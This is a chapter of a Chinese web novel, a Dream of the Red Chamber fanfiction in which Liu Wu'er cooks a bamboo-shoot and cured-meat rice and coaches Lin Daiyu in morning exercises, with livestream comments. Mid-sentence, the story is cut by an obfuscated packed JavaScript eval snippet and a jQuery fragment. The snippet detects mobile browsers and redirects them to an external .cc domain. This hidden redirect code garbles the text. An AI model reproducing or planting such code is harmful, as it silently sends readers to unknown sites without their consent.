柳五儿看出黛玉早起还是有些困倦，若是到她院里，和各处下人一块儿锻炼也不大妥当。


    索性把时间改至早饭前，她来送吃食的时候，顺便陪林妹妹锻炼。


    等到后面林黛玉和雪雁自己就能完成，也无需等她来了。


    在雪雁和柳五儿的监督下，黛玉也是每日检查，锻炼内容由太极又增加了五禽戏……


    当然，日常食补还是不能少的，各色小食与柳五儿准时到林黛玉房中报道，现代直播间也按时更新下饭剧情。


    ……


    午后，柳五儿在屋里打盹，小团子趴在她肩头，偷偷用她的发丝编中国结。


    “统统，”柳五儿突然出声，


    “你说咱们改变黛玉的剧情，真的不会影响其他事吗？”


    小团子一个激灵把编到一半的结藏起来：


    “理……理论上不会！但宿主最近给黛玉投喂太多，探春那边的点心份额确实减少了0.3%……”


    柳五儿猛地坐直：“你怎么不早说！”


    “因为黛玉幸福值涨了5%呀！”


    小团子急中生智，“而且宿主你看——”


    它突然投影出一段光幕，显示宝玉正偷偷把自己的茯苓糕塞给探春。


    柳五儿噗嗤笑了：“倒是我瞎操心。”


    她戳戳团子，“这个监控功能不错，以后多开开。”


    “很耗能量的！”小团子炸毛，


    “除非……”它扭捏地滚了滚，


    “除非宿主答应今晚做酒酿圆子……”


    随着黛玉幸福度提升，剧情进度也在缓慢移动，系统小团子现在已经有了实体，能吃能喝，自然逃不过小厨房美食的诱惑，一逮着机会就蹭吃。


    暮色中，一人一统蹲在灶台边。


    小团子整个泡在酒酿碗里，醉醺醺地晃着圆滚滚的身子，哼起跑调的小曲儿：


    “我是快乐小系统～天天跟着宿主混～


    叮叮咚，剧情修正中～


    叮叮咚，幸福往上冲～”


    短胖小手还打着拍子，溅起几滴甜酒酿，活像只醉酒的糯米汤圆。


    ……


    初春已至，贾府后山里许多野菜都长起来了，柳五儿打算做道冬去春来饭，把春天的新生和冬天的积蓄都焖进一碗饭中。


    天边刚泛起蟹壳青，柳五儿便轻手轻脚地推开房门。她挽着竹篮刚迈过门槛，就听见身后传来熟悉的脚步声。


    “娘？您怎么也起了？”


    柳五儿回头，见柳嫂子正将一根木簪往发髻里插，鬓角还沾着灶间的柴灰。


    柳嫂子接过女儿手中的篮子，指尖在她额头上轻轻一点：


    “昨儿不是说好去后山挖笋？小小年纪，记性倒这么差了。”


    说着从怀里掏出个油纸包，


    “趁热吃，芝麻馅的。”


    柳五儿咬开暄软的馒头，黑芝麻混着猪油的香气在舌尖化开。


    她眯起眼，这流心！这油润度！丝滑而不甜腻。柳嫂子的手艺真是吃多久就吃不够。


    初春的清晨，寒意还未散去，后山的竹林浸在露水里，柳嫂子蹲下身，手指在泥土上轻轻摩挲，突然眼睛一亮：


    “这儿！”


    她拨开几片枯叶，露出尖尖的笋芽，


    “要挑这种刚破土的，笋壳带紫斑的才鲜嫩。”


    柳五儿学着她的样子俯身，拿把小铲斜斜插入土中，轻轻一撬——嫩黄的春笋便带着泥土的腥气滚出来了。


    柳嫂子出发之前，已将糯米与粳米按三七比例混好，泡在盆中。现在米粒已吸饱水，直接倒入砂锅煮。


    指尖掐住笋尖，一拧，壳便松动了。自下而上，层层剥开，簌簌的响。


    剥到紧处，需用指甲划开缝隙，再一掀，露出内里玉色的肉来，莹洁如新雪，横陈在案板上，隐隐透出清苦的香气。


    柳嫂子将春笋搁在青石案板上，边切边给柳五儿示范，


    “切笋要斜着下刀，这样断面大，好入味。”


    柳嫂子主刀，五儿就在一旁打下手。把笋块倒入滚水锅，撒上几粒粗盐，再加一勺黄酒，去涩提香。


    焯好的笋块捞出浸在凉水里，保持脆爽口感。


    柳嫂子又取来年前用松枝熏的腊肉、晒好的香肠，切成薄片。刀锋过处，肥瘦相间的纹理层层绽开，油脂的咸香混着松木的烟熏味，在厨房弥漫。


    柳五儿把干香菇泡发，香菇水留着，一会儿还有用处。


    香菇切丁，青豌豆、小土豆、刚采的荠菜……都备好。


    那边柳嫂子已热起了锅，铁锅烧得泛青时，一勺雪白的猪油滑入锅中，见热便化了，滋滋地冒着油星子。


    腊肉片下了锅，顿时卷了边，透亮的油脂慢慢沁出。香肠丁红白相间，在热油里一滚，便溢出些甜津津的荤香。


    再把香菇块、笋丁、土豆块……也倒进去煸炒。盐粒儿撒下去，和着酱油，在锅里腾起一阵带着酱香的雾气。


    食材都还带着山野的生气，腊味的油脂一激，鲜味便吊出来了。


    那边砂锅里的米已经煮开了，米汤咕嘟咕嘟地顶着锅盖。柳嫂子将炒好的菜码铺在饭上，香菇水也倒进去，盖上砂锅盖，沿着锅边淋一圈油。


    灶膛里的火渐渐弱了，改用文火慢煨。待揭盖时，米饭莹润如玉，上头缀着红的腊肉、黑的香菇、青的豌豆、黄的笋丁，煞是好看。


    撒一把葱花，那青白相间的颜色，倒像是把整个春天都拌进去了。


    把菜和饭拌起来，柳嫂子先盛了碗和柳五儿尝尝，这饭因掺了糯米，入口格外绵软。


    春笋脆生生的，香菇吸饱了腊味的油脂，鲜得人舌尖发麻。


    最妙的是腊肉丁，甜中带咸，咸里透鲜，教人吃了一块还想再寻一块。柳五儿捧着碗，只觉得满口的山野清气，连鼻尖都沁出细汗来。


    所谓冬去春来饭，原不过是把去岁的腌腊与今春的时鲜，一古脑儿焖在锅里。


    可经了这水火功夫，倒真把四季的滋味都焖进去了。


    柳嫂子笑了，“这才是正经的冬去春来呢。”


    直播间弹幕也是疯狂刷屏。


    【主播刀工绝了！想吃外婆做的腌笃鲜了（哭）】


    【荠菜：明明是我先来的，怎么弹幕全在夸笋和肉？！】


    【弹幕护体！外卖软件已打开，但找不到同款（暴风哭泣）】


    【前面的，你缺的是外卖吗？缺的是会做冬去春来饭的五儿啊！】


    ……


    柳五儿把冬去春来饭装进食盒里，又配了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273920|166651||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一碟腌脆黄瓜，往黛玉的住处走去。


    刚到院门，就听见里面传来雪雁的声音：“姑娘，再坚持一下，五儿姐姐说这个动作对肺气好！”


    柳五儿轻手轻脚地走进去，只见晨光熹微中，黛玉穿着一身淡青色的窄袖衫子，正跟着雪雁缓缓舒展手臂，动作虽有些生疏，却格外认真。


    她的额角沁出细密的汗珠，脸颊微红，倒比平日多了几分生气。


    柳五儿忍不住笑出声：


    “林姑娘今日起得真早！”


    黛玉闻声回头，见是她，微微喘息着停下动作，拿帕子拭了拭汗，轻声道：


    “五儿来了？雪雁非拉着我练，说是你教的……”


    雪雁笑嘻嘻地凑过来：


    “五儿姐姐快评评，姑娘的动作标不标准？”


    柳五儿放下食盒，故作认真地打量一番，点头道：


    “林姑娘学得极好，只是手腕再放松些，呼吸要跟着动作走。”


    说着，她站到黛玉身旁示范，


    “像这样——吸气时抬手，呼气时落下。”


    黛玉跟着她的节奏调整，果然觉得顺畅许多，不由抿唇一笑：


    “倒比雪雁教得明白。”


    雪雁假装委屈：


    “姑娘这就嫌弃我了？”


    三人笑作一团。柳五儿趁机打开食盒，热腾腾的香气顿时飘散开来：


    “后山春笋长起来了，我今日做了冬去春来饭，赶紧趁热尝尝吧，姑娘练完正好补补力气。”


    黛玉低头瞧去，只见米饭莹润如玉，拌着嫩黄的春笋、绯红的腊肉和翠绿的荠菜，色彩鲜亮如画。


    雪雁已经迫不及待地递上匙子：


    “姑娘快尝尝！五儿姐姐的手艺从没让人失望过。”


    黛玉舀了一勺送入口中，春笋的脆嫩混着腊肉的咸香在舌尖化开，荠菜的清甜回味悠长。她眸光微亮，难得赞道：“果然鲜美。”


    柳五儿笑眯眯地问：“可合姑娘口味？”


    黛玉点头：“比往日吃的更清爽些，倒不腻人。”


    雪雁插嘴：“姑娘这几日胃口好了不少，昨儿的莲叶羹也用了半碗呢！”


    柳五儿欣慰道：“锻炼开了脾胃，饮食自然顺当。明日我再熬些山药薏米粥，最是养人。”


    黛玉放下银匙，忽然轻声问：“五儿，你明日……可还来教我晨练？”


    柳五儿一怔，随即笑弯了眼：“自然来！只要姑娘不嫌我聒噪。”


    黛玉垂眸浅笑：“你比雪雁稳重多了。”


    雪雁夸张地叹气：“唉，有了新师父，旧徒弟就失宠了！”


    ……


    直播间弹幕疯狂滚动：


    【啊啊啊黛玉主动约明天！五儿快答应她！】


    【雪雁：明明是我先来的！（泪奔）】


    【这互动甜度超标了！贾府健身厨娘×病弱美人我嗑死】


    【主播的饭能不能量产？我口水流到键盘上了】


    【黛玉居然夸人！五儿你是什么神仙投喂官！】


    【晨练+投喂，五儿这是要把林妹妹养成健康宝宝啊】


    【下一话是不是该教黛玉打太极了？】


    【楼上，我赌五毛钱明天直播标题：震惊！林黛玉竟在贾府晨跑！】